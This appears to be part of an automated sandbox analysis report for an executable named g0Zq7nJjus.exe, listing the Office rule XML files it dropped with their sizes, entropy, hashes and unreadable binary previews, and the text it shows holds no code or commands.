Preview:	<?xml..?.....NPQCT...o.8.-(.,.."..ei..)..L.g.o..YVoY...M...ay.....;.?...z..#.=.wv.5ww..Rr^j=..c.=!...~..8.....m."..Gn.......F..y.oG...GIP.WS.-.....1..O&?.T;B>.X........w.D.....+....T..68..Nr'QM=...n..J.....,.....A..3.{/..b.yEZ.7=k.7d>.G##..-...T.5Y.....~o.b.h..TZ^\..5...iy..1.8w.o'..1...A]2..T..H@).#_..."..h..h.'...v.D1].Q@.,A..iP.....%-.."].W...PNC.U.....YN..1....ei.X.#.@..Z.P.B...L1...\....o....!.M..h.]M........9...b=]1`bV..j..C.._o..S8..2^1<.F. ..B.h.....M^V.i.._..V...$.X.&f.b.+\|P.[..+..z.uzgn3.V.1._...al....d.q..=.......74}l......r.:FJ....\qJ}..v...XB....-[z...........j%..!.&..h.,~.....q.Y.Q.n.I{N-.g..z.._......B.b..V......o...`...k...-.~.T......G...V>.>.....v2B.O...7....(I.C..0ZY..f....O..{..h.,..#..P.l.]..w.....=...:.j.."..].jz.q9_E.g..9I....}..5.k#....Z^q..?..}..M\|sxGy..Y$.....cL..V{Vv..8......d..'s:...D.Y(."M..?...D]=;....]_..i....*....G}...$.5I.h<51....F..T}..=..loBn/U...u.H.~..@.........MP..6..>...Oqy..:...K'#.d....>.9..$U..7<.s..z...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.880273399657533
Encrypted:	false
SSDEEP:	48:R/UqQvn7tWNlLSgaSbUBP5t9wh5zSMjHyQJE+j9HkdpTqD:R/MRWmmbUZ5tO5JNOdti
MD5:	7CF79AF3865C1D71A78BE6EDB157F30D
SHA1:	50A7EC651CC3AF2C27D84D42460FE64F4C39852C
SHA-256:	6D72067DBD4E247EE3C479EB17927F85F264FCB4F71887FA969786342EC6FE18
SHA-512:	C90E4AA18E84E479DF7F4D3EF949615A3A54EDC6EEC02F1D4C550BCA91D021D56078CCD51BD2E477FD9E7633E50BB7CBCF3393D5AC9C004652B519453D87691F
Malicious:	false
Preview:	<?xml.......3FV."_..)oBg9.........o.c.0..G....'ek.k....s...`...s..uG..>Tn(.......-...F...R...,\Vv.[.......r.A.K'.S&y.r..N..I...}..mO..>.......s...{.8:....t...,=.u.H.............r#adY.nq..e.......n6..Y.....0v...H..m.1...#WS..g ./. .di>H.B@..(...TrwA..io..{.(.M..E.5.B..W.;...9.F..x......".{....VrU(\..I]W.....q..8U&.X...H...,...t..f.%...r\|n.Y./7.z....a9.$@..".......z.z.B6yo.._&.@.+..R..V!..B.q.k(.<..R..z.+...K..."/$.)..f..a.W.[Y2=D..-X..#.\|J..oA.....<.../R....l..?......{.1JG..........@o...IN.dCN.v...R.Bq..M..[.rn.a...h.S.......E...D...Qq...8x...<....(w<....../.r..-C..?.....).!Q."@..D..c...9..x&...+..E...8..No.\|..<~w......=.}...E....oIZE...3..z.@.W:J.._..4^^...{.~].6D]....5v......e9N.V.UOX...v........1v.\..j.5..s.n.J.....,...w.k..'.....Y......MM)....D.B.T.O...M.z..U.]....#.qH{..D.)Wf..1.U....'.N..5=.......W..q5.\|T...-......._*..;E/..;).t.... N..c5..B. x.0.{.qi.t&CS.b..c..u.....BQ.=.[<%.x9`?o..0@..H.@.......~.....;$f&...;7.TShaJR.O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8953764720767765
Encrypted:	false
SSDEEP:	48:Q4GKj9ARgBJz6+aRa4c3vETU76sggwoFY8pPMIF6XlTYwadD:Q4ARgf6ozfeUaHxtGG1YL
MD5:	E6BBD897A17FB2AB9CD10F08DBFB8DC3
SHA1:	1BAE4F0266B316353AE439F008F4DBA9F4791AB5
SHA-256:	A1B1B6EC1CC3F36EE6087BE6160B0763DC00B1D32B3ABD091259F35D44D6CF24
SHA-512:	910221DC537B69CDE9714AF055EB98F7CBEDC98B0A12E44C5B20EF15BA28989FD3B32C4337E488B5125383D3B499ECBC01BF1A45825B2391699CA7290B8E5F8B
Malicious:	false
Preview:	<?xml-.a.......O.3....^.Lw.:.5....62...]$...b.."e.h`!ib.e...._.v.......$.>@.i....K.....f.~l.....C..r.s....,.>:.b.X_..Y.L...........ks...9..{..A.a0C^...N c...G..?...1.y.w.M....p5I....C=.e.T..J..x..{?.<._i+.._...y.J.a.\|......v..h...f....N..`.<.%G..A=......v@.y.M.a.D...y.........z.)....../~p&..n.S..iWn..........U..1...q.L...j...H..:.....foZ.....[.\|...#.t.A.TCV...=O(A;.....^.u. c.'L....3=...............Q.Q..{...7....V..z....~.../.+..r.V.F._4..33n.>.....c...>b....V.5.>....2qV...bxMQ./..r:w..A.[&...Q>.....x....d...L..H..........=..Wi....?.C..f.Z.@:.:.U..d0.].........?......O...kNX]'.C...B....>.1.....U..h...p....-..%.d]>..I......~....r3_..>.......w.[.\n1........s-#s.....,...a...GG.:..6....8i..h{.....7.V.B.h++&.uoh.6e81.H_......0o....`E.?.V%...Lc.F.#...$:.._>c..$.^\.`.^..........7^.....)N...nd....7b..{....c.D...>..]..I..gg..~....B...!A1../..r.....P....v...?..yt...J....p....`._.-..5g(G...L.'_J..Ha..#0.@..n..".vp@.A>;..4Cy......,./)./3.(n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.892842818475694
Encrypted:	false
SSDEEP:	48:DfwEbWNRzPVGLk/Qui+QsqcWub219UoDD:DfwEbWTok/QWQsB69UQ
MD5:	345D3806C6C6F6EA6A5CAFA81A671E9A
SHA1:	F0805FD2AA13259AA2E2376EFD89DA3092218397
SHA-256:	9C241CFAC0A9A9CFDD9AD4E9D7242733EC0B4D63EC62394C14F26701ECEA1047
SHA-512:	8D95AD7FF498421C55D238CCE45C602E49C902B1AB88DF24A1937C528BA53F7AF98006E208EA812F5FFF6E3BAE19AF8F08042B6ED7E0A41E8EE871456EE9B79F
Malicious:	false
Preview:	<?xml<..l.C.E...aB.Ds....;~.j....u........."T...iL..M....Hc.....k..P..I.......7F....).........`....HH.&.w^.v.ZCJj=.....qeY.K....Nx>{..WR(..0.yS.=F....U..DU;".+s#...#p...HG...g:....q.....1S..Hj.-n.8..~'.....h..4.%..PN(..~.P.....1k.A.1..../h..7c..y5Nr..).v~.t..I..92}D.g.~W./{...z>T.G...K.y?.U._,.3.XF...i...K....W..V.FN9'.l...6M.f.Y..fEz..}~gC...q@LzI.....JRZ}....`m.Y..DB...s....x{`.!@......Y..1.stJ..0.].~......k....)..."I.`...t?..'51;......S.UL1..(..9.a.....@Q .....FT.<..;>.%.M..$.....''..(..R...+..E..1.8.n..W..C.P..I!d.....~*.^.#......E.W....#X..P.;.V_D.y.&uEL.....`.e.].2/3..7jPR.G..RX..gp=.....]..$.5...8.S....C._/D.s2l....Rq...2..0.Ns.T....;c3....e..9.w..s........Q...P.zs...dZ....:..#....K..t..o7NUwB.p... M..5k_......9.0..v.........Kh:.n....G!8.$..o[aj...R..!"..KY...>..H........E(.6.).X.....c.........a}.3.t-..T....xZ...uo4..E......^.,.=..{.cG..h>:w&.x....!!g;.Z........Z.7.. o...J..ew..o....!..y.q....NQ.$.#....bb0...S....u..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.882153759238442
Encrypted:	false
SSDEEP:	48:ai+WqUj1j0d/r1yRVZB6UzUY8stzF00D4I9l6jzW8fD:aXSuRr8RVZBWkb12f
MD5:	0EB07B32D9A1E89C667760F85113273C
SHA1:	2A9A34D200C251747267D72E3C80B335EF6C1A99
SHA-256:	2384C69076FDE5FC8E9707D5614034CA931AD06AB3EEBD3D1292EB05750EACE3
SHA-512:	73A58472B96F3572303C9C20D7920D5B03CAEDECD0D77F33D6F157DE5B2D8CE0EC5C34A39ED44993A2EE5D0F3BC047E9CD91A04A73C67F1629FF99C54ECC0F88
Malicious:	false
Preview:	<?xml..4-8%"..u.6.?h.f.&..^....R.0p,...<. ...l...(.#..."...m....d\....Q....=....yC..S......R&~...Q ..{.q....}...y....I!.t].......Yp....=.I.D.....S.%..5$Z....imt....w..8...<Aw..^@8.s....Q....T....2L..0..s].W..?.EL.....f....;.DR&.L%....e(..Kz....\|vL"&.tA..f...6......F$i.N..K.nE..K.u..)L......[......7g...l.Y....i..H...Tc....r..X.x.z ..:..PU.....+.e.o.9 x).9.-7^.Z.....aGDvR.#.....U.ae@..tr.A.~.X5..d..../M...kR...? .k...%Z..m.v,...Z=..".........."..{.....'j....O.H.,X.k........d..b>..7.x1..BmJ.i.[.....e@r'.d.XW............Yh...b..z.p..rO}M_1....Yf..Rw.0`\...H..J6?e..).k8BW........yZ.\X......$.n..\|....3.&C$.wp...:._....>T..C{....(r%v]...-...?.(&...G.v\..?.........0h.\..U..n..zU.F.T{L..E.-h.L.o.;...RW.P.t?......8..\|! 8..s.E.<L.m.Ctf......A.eT...P....y$....0..-..D{...>.....\|.........7Y.;Q...G...S.u....`.x.....j.P\|..aYmz..@.....L.t......$..........).w.....l...."x.......x[...J.X..77.C.,...`.mqxaB.....e.".]......b`.(..>Z. b....i...x..*v@..8...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.903043785883012
Encrypted:	false
SSDEEP:	24:QtfiMY1IHPuT0Z40DQxypwreo1r3kU3tPxsmCMRqHzfshHJ4ofewuZGTDSQUubpC:XMY1IHG4LD+yh6NHrBRqTUvvH5pFzwD
MD5:	09279E4E649DA5A2A323D5C55E8707C0
SHA1:	5191A4A74A62D61AAD48D4346F888680AF987C48
SHA-256:	228AF9F638A3F17C5197539FD803E704E7635835D2D5AC190C19334A904E32C5
SHA-512:	2794A970AC53C0020FC8F36B15F8F6A6D3D7FF4C4398C317F99CCB89041D786E43D25C148289F9EAFE411429C7EEB5F287DD09FFD3CA073F64AB25937D2BDDC0
Malicious:	false
Preview:	<?xml\|.c.}T6..........r.~......^.2..J.-.".O.....P.0.5&..SN..J...&rV.....$..'../&...?@Q.S..s.G...{aV..B..........W3C.;...-L..~...R'B.6..p...4...(V<....vt.z(..l.._y.......@.f.k)..8..(P...\..Y+..a}.. Q.e.4U_S....y....V..<.s^..jEr..Q......5.....i..).QK.....V?...k.\|(.',i.!.0..AG..j_v..b...J(...N..[z?.w.zw....N(.....Q'^g.!N;....}.;...._4h...BN..>.o.+Z8.Cd...ao.i.V...nJ.e..<N.d9....l.!..@.N..:5..?2....A.&5..nQ.......IA...}.u..=`.+.Dm..T.T.9....$K......U.9&....4..b.B....4.s\|m.N......._..8.O..H.....`.......WH#.L ........ .......B!!?..y.5...0x).~Z...../...U[.....(.b......3b...>...r.fZ&......X...).. P.R.%._3.x..{.........F.}=Fkc.-.........s..K.oeq..t.i.x.........V'.w..%.1...........3j...}.=...oc...r."...2bDi.......Fe..;....^..`...#.V.Y.1.]i...C;....Q.T..{.......EA....Y...,....&M.z.5.Dv...9$...H\|...)\|.O{...[ll{.2.'.`..5.....}./.VwG.../....Y...B..U<@Q>H`..t.F..$V?7{3.{..<..(./......K...e...1$....7.y@_o.......#.y.....).'.k.]$..K.l3o"..>."l..E.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8839860294923945
Encrypted:	false
SSDEEP:	48:FgYFqFTCXhyQNzFjdrCt2ogjlj1SQMhMD:FjHRyQNrCt29jqQCo
MD5:	83C0199D533B4C16ACB60BD35C540A10
SHA1:	F0EB6F8FA96C608FCDCD07F5B83E584D9A6263FA
SHA-256:	038B28477D8A3396EABA194AC9597AAB4D05394B36B9AB7815F4A8A3A97F5883
SHA-512:	DCB18FE94B52A9FFD6F74FD070FD1ED80C338A92893FF8FFF315C61BBA0A731DFFAB190C77434185CE5E5F9820EBA5C099BF28D3FDE45A374003A95CAF93B7D3
Malicious:	false
Preview:	<?xml..3...THo$.5..ac.....R5JYtc...E.<.:4...+.=..8^.C....!".?......y~...ek.0:C..:......5b8E.\...;64......JWJ......`.F=.n...U .O.[.y...@C.kjj.T._<....k......IS.Ew...1f......\..y..[?..oc=_....l..t._.........X@j.7o^5:..C.Y.U.n.e,f..#p3....VF...q.y...g..(..2..f...........a..b..9..._.X.g....gu..,5..2..e....0]3..+..G.g...+.[-......w.).g"(G..[......t...U.2..=....2%DT..-H.F.b...a..ne........d&\..h.S........D.g0.R.Q..Q.#.#......Ao..n..wf.y....AQ[L3]y..g}.Y~.......~.t....QW....rc.\|.0..^..g1o.`.V.......}....I..%..7&....'W~..R]9.b8.d...H.Ru/....P...{.8.RH.?8.D.(..&.r=UZ...v.:..k.....d\...pnC.JVe......J[.Gr.(.6*.^x~..}.S....{..A..L;......Y_.+..DwM."f.xw....]..~.Ka.Z....`.l....nEw~.......8IA..[..5.....1.h{.wi..T..h...S..R.cF^F.6>..o-.M....;.%A.. ..H.B..E.EG.i...p.[.g..\[..h:"...%.C$..BS..`!U[.'.N...y..!..`..+Je.C.!.@....Fc.y5.u...2.....-r../L.7.{..........Ivk.\..5.YQ.-,....O.l..XX.jw...o.2.O......gt......X.\|[}.UU...Al....\..-...1./DC.......V..E.....W

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.899684038125313
Encrypted:	false
SSDEEP:	48:3pLI9djWJt9ZaXAwFlNa6s0apF7p/veEUD:l+F6t9ZkN2LpH/vi
MD5:	F6E02F8633328A16BFBC0C8EEC9F16CA
SHA1:	CA713CE11615133C992B014ACB7FDE3221A6606B
SHA-256:	B6CEDE7B6FA2D2CDC23528209C6A27E6FD5FA82F0452CCEE881E0389C17935C6
SHA-512:	74731888DE1CD76A419BF98F8188F317437E8AEC4B7DFAF0AFEEE9BD6675E86E5812E70BAF207E480633206D7AE3A3097BB4B7568984332BC268125837B3142B
Malicious:	false
Preview:	<?xml..=...q....w.h.X...Y.ZN;E.o..........<......~.m.."./..Q..^..}...(..c.}..5....B....~......Z.....[...E.I.g......0.c..%.{..#.l....}[g......a.3.-.:...VoE).c5...x.z.O3.4}o>j...........m.v...t.....7.2}74.68..`..Q...B.s..9.l...V...N....k.+...{...G....z.R"..%.bq..l....... g...k6.v.r..j.F.q.....F.\|....n=.H.G..K(.2.........R......q[..\...n...[s.\|....3.h.:o5.v]....)-.n.....J......<.......C`+.r..df....D...n...a.2)....c.^.p........Y.S......rQ^....B.,...(_/~.]V...)vRD.e.T.....\|...V....W$..G.R/.^..Mp.p....F......{.a...P..T..E.!.SYp.N.....nI..H9...[....,.E...'o.I....\...UuC3WJw..}3.....>...D\......X....F#..AQ1..5b..6Gh.......cAg=...Y..E#.e.%.. ..........{.i..j....y....J-?...R.-.......x.rN..8..+...D....7.Cv..........=lSEU c.S...`:....By..S.0.A\|.x.w.#..K\.2.2....>. E..7Xf.82....B...dQn.%..._...../>.....G%51..s!...j....F..D.\|-n_.[.t....,(#.O......E...l.5.{...D..@K.C.h.$.:...L..O..\.R(/+..ap.,.}..:.6.\|...(^7^..I....u..........5#.!.....g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.89161948081549
Encrypted:	false
SSDEEP:	48:kOzcfgbZEccxv0ZZ3BllAaVgo2g06qysuD:kOzcfxn03B9Ro6FR
MD5:	BA5163C5B64C4F026E2B684E67A92438
SHA1:	7FAFCF3F16EF9B32C6DCE5FC70059BA2A54200E0
SHA-256:	A837EF3B607EA8F08FBF5628DECC728C2340838D74C6CAD64CE1728F989891C8
SHA-512:	B8D6A3A667585BF4500D42D3DD023C4352A03AB3D5FAB015A4FA2D71563D5CBBC4A7E61D2B8F8E1939F95A1CE657FFA33EE74638E3B976B39DFA0ED8B049568C
Malicious:	false
Preview:	<?xml'GV9...e...\|.-V..a.....5P...w.(..j..hv...?=..h.....-!.O..J.6..sg.4....\b.`...Gi..$.o....../.)m.A.K2ru......$..&'.U{h1.$<..J.$.<..~'...G.{M.~.H/./......b-.O...fW..(.Z......@..(.3.i.g...F`....Q.b&.......!../.b0g.df..g..Qb.\|Q7.j....@.Fi.0....Q. .t....@B...v...6........A.G..R..P....I\....s3d]f...TS...d."k...&`....@..8......I.H.....?w...9g\...~...y..9.CA....Kq.W<..;8...~.[O...0.$..C.....q..k.;G.a..{V.P.k=D-1U....Q....l.yG..[E.1H...#V..`v...)<2.A...V.P.....#xQ..K.6...1.'.?.....(%UE.Zu.E...5}.....2....SOV..?..a..Vn......r.1t.....n..lo.cn>].3...............lG.F..v.C}..).;e!....\.h..$e.T..~...HK.g...j6.+I."W.......m...L......sNT.!8PX..rV..^....I^...a.I ~..0[.T.2-.un....X..O.D.R^........n..r{.Ab.......9j.Y......6.l.-I.&\..+.S..(t<.Nk2../..X..z...]..<.K`t%.....w.J..-.Tn....1.."..j.....o..S.+}.0.....rG.......d...l..W.o..".I..`g...>.Z..."..$....y..7...k\....r&g.}0.Zr....4\|.7@j*%.)...I.y.s..k.9N.k....@..Q..y.C.q.....Z.+S>Sl......v%......;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.89065177684469
Encrypted:	false
SSDEEP:	24:AAoiN3JtF1UPZFOLrrswKlpQy01iKY9lsHtua2LfGCyLbogbXkF4mhLWrsgnsEyf:AsRJnmf7lpaK3paOObXXCdhLxgsrbrD
MD5:	C2819E46F7E376B25AE882D3A1D25E76
SHA1:	6C6CED8495BED050FC21B420D94EF833294F2129
SHA-256:	A3FB1E5C0DCA1FEC0390AE38B4BA9A0A45491F6B0F1D216DB2CAFF13C8B16982
SHA-512:	A31CBC8E0AE398BC8D63DB03B0AE655267A4F96061014344A4F0B4E8D975BA2D42470546DA231D1B40C9B1E3939042DFC23FF3FD4B81C6F47E6BAE638AFBE505
Malicious:	false
Preview:	<?xml.....f.o o.r..+W:.8~j..R.j....N..p'..._..?.....;R..W%.".......=.w..0=T......p\|...Q.S"6d...O.....(..};.%..I......yw.@..e..g\........m.^.<.z....>B..y.T(v......VB.3.[....E..M8}..q=.[Jm.]...2.)..;.0.t`....Y....b_x..a....L.....j.....oj.h.72....X.s.4...\7W.8.._O.5...!=v/.$..v.ym....t.J.X....i}..3.h..[l.,AV.US.....hz^.m./..>..Vr.xm.l...Zv...,k..S...Gr-n.e.~....P.<<.....>..C....s.Z.i...}Q0uI].v;A\|]R.2....!....@].f.dw.4`b#.:.>.J.....=sq......fm1M.a.oe........M...7.I.........#.vry.OG...r&Z..%Ly..C..r.....F.\d.\j..X.vK.u...~QA........-\...CR.._..Mv....N.V7.Zb.P...-.Qy.P..oh;.E....@....,."pl2.....2...o\|Tqc..-.\|..-..U...{DC.!..+.......X..r.:2...-...o..Y..4...g...t.."x.....%..l....w..rV.x.)..1.n..-:.....kGR........M...5.l../_f..HyJ..l)...Qb2R8.}rp.W.... ....5.........V..?.K.3.3..d}W....sQ.P.5o..q,...N:z...W..I........N..mo.........>...dD/...-m.."^....E......?...(.8.o......A........yV.W...GW..BR....+e3......;..-..._.O."...+:k....wKI..<.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.894074294551125
Encrypted:	false
SSDEEP:	24:ifw1H+LoEKLYkks+1HLgF/4VDVxAqQcvtqke06W8KeLd5JSmbbuRmeMVxLXL0bft:wo3EkKRtDxJB76WCQmb6RWF7CdD
MD5:	A6CAD52C10BEB7B2D2A859D9AB96CD44
SHA1:	F1241FB9AB562D6BB4725EAE1853A2E91F890C2C
SHA-256:	88BAD3F5AFA799CDEEEDF0469F674C3B807E6E5E15C1E4A446E3EE31DE01CDAD
SHA-512:	0AF1BDA2B7F3C442E358BD501E661B4857673B1B65BCA88705817E86A1C6103CC9C0AA18F93DDA014D9EB90874F0CBABBC15D592213B37F65B2D3A854005F26B
Malicious:	false
Preview:	<?xml.Z....P...B....nxM.].. ..rV.;k..H.Z4...A../`u...5p.-.;V.]C\|..\|9X.O.^...b.@h..)........t.R.>v.8=......].D &.sp/.{/...F..n.C.M..#..J...4....j.l.DP...+..^%..l{Q...............}.......U.L.am......k.{......J.R~.4%.9.8....J...].9Vz....Ik.fr.L......7.Y..y....@...O..h.>p.$q8...e.%~.mi.z....7.G...{...I.o..5....,..u..?.'.K..N..-;.@.....o.k8u.j.'.c...."w..E..B..e........K...6...I...H...9...0..}/...p...B..rc....,....,.C5.vi.e............4.z.........}...F.$..k...`aJN.-.b.y.."a.x...@.....G...9....K....b ......~!U......>..}....*Md.YB\|...w..258..H.8S.]'7W.Zm.{.)..@6.R.2l\|.Z5..w.......72..f....y .W...)..=(...sw..0}:.....?...\F.!B.S..;.....b..".b.6Zp....B..B..p~.R.....m...]qB......._...?.6.o...a..KG.....[J.}.Vuc.)>J!jn_..Jfmfg.L.XI.S,N..~..Rh..{.3............ .#Q+#...!~m)8.r...1..4...c........`h...c...<w..!sN. ..!.G?..Lp...1=.....m&._.....[#.A8....O^..L..MI...r.JAf....%.:..."..i..jR~.L:....\A~:.....Y.(....u.?.......~..M5l!..6.../..4%.4.M..!.k.".G..Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.890999024446792
Encrypted:	false
SSDEEP:	48:UGJ+/zc2goAjQ1VCnoVy4RRFjz4PMRpED:1J+LJBAjQ1QoVycR9z+MRu
MD5:	8595932D9E1B236560BDA0F3F3C42854
SHA1:	8C499DD8A9097395994031A0621CEACA8A1223FA
SHA-256:	81F64EDFA5212843C01CC6D752E2E0AB5E7E4581B29F6CD56419C3A549EE3CEE
SHA-512:	BBB77A95A33F3CB494CE6FA943050B85E21ACF7BB6962866900F0E3826839D00C0268BD49B90713E40E7C1A3106BD94865E9EC57F6333AF4AB3BA9F9C9BDF5CD
Malicious:	false
Preview:	<?xml.".\|........{r.Mi...r+K..H.B.....:..B....%D..VZ>.../{r..-~<{...p..[.#...1.."Dv.x.......e)Q.e.O.6.H.d..s1.G&.-..L..&..6I..,@.l.\|Kj .1.%R../U..1..O.%.s..?...A.......=..?0.?..._..w.#..w..e.`../...cV...9.j.7x.D).l.<.Z9.n......_.v.\.,...4B-?..;.f.p..+.G.6...&...Q^K..%.u@%w..D._+.T7.3.Ox-...$.y.j.e.....sIs..x.E.......vx.A.......[..zu..?..R.&NL.."...lk.9.\|J..d2.`...@U I.....d..G.i..h... .{.D......#..C._..L..^6..s.F.y7.....A..}0b.U.7z!K..c.mwNc...Hv...C.3.y.#`...l#e..i.{E7Z..........@.wy.;A....U...:.5.0.}.......d.\......@.`...k.x...ad.....2.2;..S.x<t\|o..C.q...s3.C.3.mg.i.H.<P.......=W....-.Jn..j....@n..u.d._..8.r....C....6d.....:..jB........(..cSR}8......%L........&I.*oN>S..^..........U.a.~y....=.j3.g......6V:.l....}v...-.M.o..F...&...P.<ysok..F,.#.pI<7....%...q{.qEG.S..y.z..a\|v>!o.D..tSR\...<u....2..7Y..4G....f.a....,....i!.0w..U.....Z...n..a......4...6PD.S..2.sK.L.=.I..[...a..}..9._ta.<....].8D......2R......9.%r...N\^.i..B.-.Q~..(.7.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.887027702453025
Encrypted:	false
SSDEEP:	48:r3J7uqmvusy+EYAU/wRUafWmhNHzZb5odbq6X7lD:Jmv5OBRP3zZbcb1
MD5:	A1B6372004EAFEBD5B7F593E8D22F52F
SHA1:	455A517113827D053493BAB565CAD5B7CD1A4894
SHA-256:	DB8FDF8DD99434301F805DAA0B9DEF512B190934B3F698D3395E0D490018CA18
SHA-512:	D1DF41EFD5E941764D6C73C83420CF11DD1B3AEEFE34658E5EF9C72D2D091A75413A9EF20FC61ABD8268F89DD9CF5C09674F13F876062BC15B10CE6D8B21065C
Malicious:	false
Preview:	<?xml....d....,.j.#r..i......C....o:.y..J.s.Ay.2Oq.....g..^>..Qwn@.:..7D...q......%..(g<...Z. .t......CgR+m.S...^.My.[.!..-.hH.i..q[......F....R....T.J...tc.Unz......c....2...l..4...c..V..&VPOJ_...t.$.qa..X.a.;Z.QI..gL$..L~U....=..y7"...........](....s.;......Se....y.Q..8...i.........`.H....JE......o=t.."..../4:n.!{...-z...cl.iJR11@.,....K.!<w.....Ed.@]....Z..G.......4...../.B....u.. ..tIP4.7...?.F....v..n..Co.8............8.wVl..';r.i."....h..!..=#is...cs..a+.(5.....+!.......w.P.....B.V......N.BH..[. q.9.N..._blF.(M."..re,.u.Z.M..m....7...Kt....u!2..u.w-.j..L.Eb.:..zeY.nfU.......%...U..8..Y...2.i..._4.J...Be..k.....g..v.... ?M.n..h'.7....jQg\|t..=...".m5.....D....0W^.N...b....l......H...f.m.B.e...u..av.M_..0...T.U.R.0.d...F.M.`A.W...:o.)..6....N2...~.p*b.T#x.Q...t...q.8..J.~.......S..}......,.......i....U).bs.0...Y...=>...j[&..>..Y...Y.+~G..:.. .D@....<.&.j.>......-..b.....k.2..6.\.-.f.J.....!.+Z,=..2.aK.L.e......>...FQRa.9$....6,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8826734597246935
Encrypted:	false
SSDEEP:	48:0hV/z615bTG3SD9KkO7sj9FxT49Z/q7eD:6VWTf7Nj49Z/qi
MD5:	E7845CE3549E31AE6514610A13E140E3
SHA1:	DAED838F24088301D5B56F6DEF0AC520A24238B4
SHA-256:	6BF53525F458C546371BDB7E0E9BE4E23B7E03349D2BF3DEC5960D103C589309
SHA-512:	4549AD97F49E159BF39EAF2D22A03F421ADC512B6DF3CC36DEA77036EA8A3AC37273AED65EFEDE0B95B1C8FE47DECCC1F9B21415A6E59F24DB488C6CBAB76777
Malicious:	false
Preview:	<?xml..<W.-.w..NW...}..~D...&....`FW..&..7P..F=......ggo..(t..C...;^...eQE.(..] .x.x&Z.y.G`....{h....l.]."..!i......A./.l.+..E+e..v......>.%..T.I1Vsz.4.7.^.hK..R....u.p\....z...."ZJ@.!R..Q....5....0'...;.0...m....%. ..z..W..M...&0..X....ae.A...j!.\|l.&.bL..x..D.m{..U.. .QN:A)"..x..!..t..t9+D.....%C...H.!0......../..'u.....E.VV.=.9.2....m....5......F.V;..U...}....xO..I.]D..5m...Z2.C69...b......g,n$..X`j.+..T..SX..(]..T...D...Ae..BMK.....r....g...\|..1..B]....]&d..+.7~.6........).&.h..8.sJl...........%....y.!.......(.G.'z.s+o.9..Q.U.b.^.....c..&.r.s..@.f7...b....4......].:.....{.........f../.7u.#..J....X7.N./.oE.......V.}OaR.....O....D....P.>.b.\|....*:.^...;.G............../...a..>...mt9zk..;R...,Fc.9.<....:.j..?....'..5.p."...]....8n<^f.q.mi.iN>h...p.q.....U.xf.....j.k.....?..;.,#..y]tb..WOd..lJ.m........_W....,..]..Z..@.f-e..`.....HM...Su...k..%..G..y....N. Y.A.j...cb.}&d>f..;...&.C.K....!m......".......<f..D..}.....E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.87545295513604
Encrypted:	false
SSDEEP:	48:b12WscocEYMBKesP9xHJnjue+DW6+c/0LWc1rztD:bUTcEYWKnP9xHJCac/0j1rzV
MD5:	05C399A5AB18AFF428C240D1FD00FA39
SHA1:	4F9A06D986BB89CE2D822764731E4BF02AFB071B
SHA-256:	EC7FBE946C95494EC15BD7F39C857F4A69838EA26030CA455554C5D8AE52C1E1
SHA-512:	321EEADD51A6BEE3A31A1EEB628B3C80D5470DA22E53B8CE92D839FD771C4881F4465A849484C6A3D2F6F26BEF63814EEB86CF985D26DDCCE51855C5C9D89D79
Malicious:	false
